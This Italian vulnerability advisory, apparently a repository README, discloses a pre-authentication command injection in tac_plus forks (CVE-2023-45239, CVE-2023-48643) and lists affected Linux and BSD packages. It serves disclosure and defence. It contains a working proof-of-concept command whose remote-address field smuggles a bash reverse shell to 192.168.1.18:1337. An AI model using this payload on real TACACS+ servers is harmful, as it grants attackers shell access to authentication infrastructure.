
tac_plus Vulnerabilità di esecuzione remota di comandi pre-autenticazione (CVE-2023-45239 e CVE-2023-48643)
Questo repository contiene informazioni su una vulnerabilità di esecuzione remota di comandi pre-autenticazione in diverse implementazioni open-source di tac_plus. Sono affetti i seguenti due fork:
Tuttavia, entrambi i fork si basano su un kit di sviluppo Cisco per TACACS+ che è stato reso open-source oltre 16 anni fa. La vulnerabilità esisteva già nel kit di sviluppo ed è stata ereditata in entrambi i progetti. Va notato che questa ricerca si è concentrata solo sui due fork menzionati; potrebbero esserci ulteriori fork anch'essi vulnerabili.
Il seguente grafico mostra la relazione tra i fork, tutti affetti:
-----------------
| Cisco dev kit |
-----------------
↑
forked from
|
----------------------
| Shrubbery Networks |
| CVE-2023-48643 |
----------------------
↑
forked from
|
------------------
| Facebook |
| CVE-2023-45239 |
------------------
Non è stata trovata una fonte ufficiale per il kit di sviluppo Cisco e non è più mantenuto.
Il seguente esempio fa riferimento al codice nel repository facebook/tac_plus perché è disponibile su GitHub (il kit di sviluppo Cisco e il fork di Shrubbery Networks sono solo tarball). Tuttavia, il codice vulnerabile è lo stesso in tutti i progetti.
Quando arriva un pacchetto, viene chiamata la funzione start_session() per determinare il tipo di pacchetto in arrivo (autenticazione, autorizzazione o contabilità). Ci concentriamo sui pacchetti di autorizzazione gestiti da author() → do_author(), che poi chiama pre_authorization(). Questa funzione verifica se il nome utente nel pacchetto TACACS+ ha un comando before authorization configurato e lo esegue tramite call_pre_process(). Il seguente file di configurazione (tac_plus.conf) mostra un utente con un comando before authorization configurato:
accounting file = /tmp/tac_acc.log
user=DEFAULT {
before authorization "/usr/local/sbin/tac_policy -- '$user' '$name' '$address'"
service = exec {
default attribute = permit
}
}
Questa funzione prende il comando configurato in before authorization e sostituisce le variabili (es. $user, $name, o $address) con i valori provenienti dal pacchetto TACACS+ in arrivo. Tuttavia, ciò avviene senza alcuna validazione o sanitizzazione dell'input.
La stringa di comando risultante viene quindi passata a my_popen() che esegue la stringa di comando nella seguente chiamata execl():
(void) execl("/bin/sh", "sh", "-c", cmd, (char *) NULL);
Ciò consente l'iniezione di comandi aggiuntivi tramite il campo dell'indirizzo remoto nei pacchetti TACACS+ (vedi rem_addr, rem_addr_len in RFC8907). Lo stesso potrebbe funzionare anche per altri campi di input.
Va notato che la vulnerabilità viene innescata durante il processo di autenticazione. Pertanto, non è richiesta alcuna password, solo un nome utente che esiste nella configurazione!
La compilazione e l'esecuzione di tac_plus con questa configurazione sono descritte nelle seguenti sezioni:
Il seguente comando esegue tacacs_client sul demone di destinazione con l'utente DEFAULT. Il payload che innesca la vulnerabilità si trova nel campo dell'indirizzo remoto, impostato tramite l'argomento della riga di comando --rem-addr:
export TACACS_PLUS_KEY=[REDATTO] # necessario solo per configurazioni con chiavi pre-condivise
tacacs_client \
--host 192.168.1.100 \
--port 4949 \
--username DEFAULT \
--rem-addr "asd';bash -i >& /dev/tcp/192.168.1.18/1337 0>&1 #" \
authorize -c service=exec
Eseguire questo comando risulterà in una connessione reverse shell verso 192.168.1.18:1337. Il nome utente deve essere uno degli utenti che ha una direttiva before authorization o after authorization configurata in tac_plus.cfg. La lista di comandi finale (-c service=exec) è necessaria per raggiungere il percorso di codice richiesto, ma il valore non è importante.
Il pacchetto TACACS+ inviato dal client è mostrato nel seguente screenshot in Wireshark:

Il seguente screenshot mostra una sessione di debug subito prima che il comando iniettato venga eseguito:

Varie distribuzioni Linux utilizzano uno dei due fork affetti nei loro pacchetti ufficiali (principalmente il fork di Shrubbery Networks). Le seguenti tabelle mostrano le distribuzioni Linux e i derivati BSD che utilizzano il fork di Shrubbery Networks o Facebook al momento della scrittura. L'elenco non è esaustivo; altre distribuzioni/derivati sono molto probabilmente anch'essi affetti.
| Derivato | Porta | Fork |
|---|---|---|
| FreeBSD | tacacs | Shrubbery Networks |
| NetBSD | tacacs | Shrubbery Networks |
| ... |
Esempi di come riprodurre questo problema sono disponibili nelle seguenti sezioni:
| Distribuzione | Pacchetto | Fork |
|---|
| Fedora | tacacs | |
| Ubuntu | tacacs+ | Shrubbery Networks |
| OpenSUSE | tac_plus | Shrubbery Networks |
| Debian | tacacs+ | Shrubbery Networks |
| Arch Linux (AUR) | tacacs-plus | Shrubbery Networks |
| ... |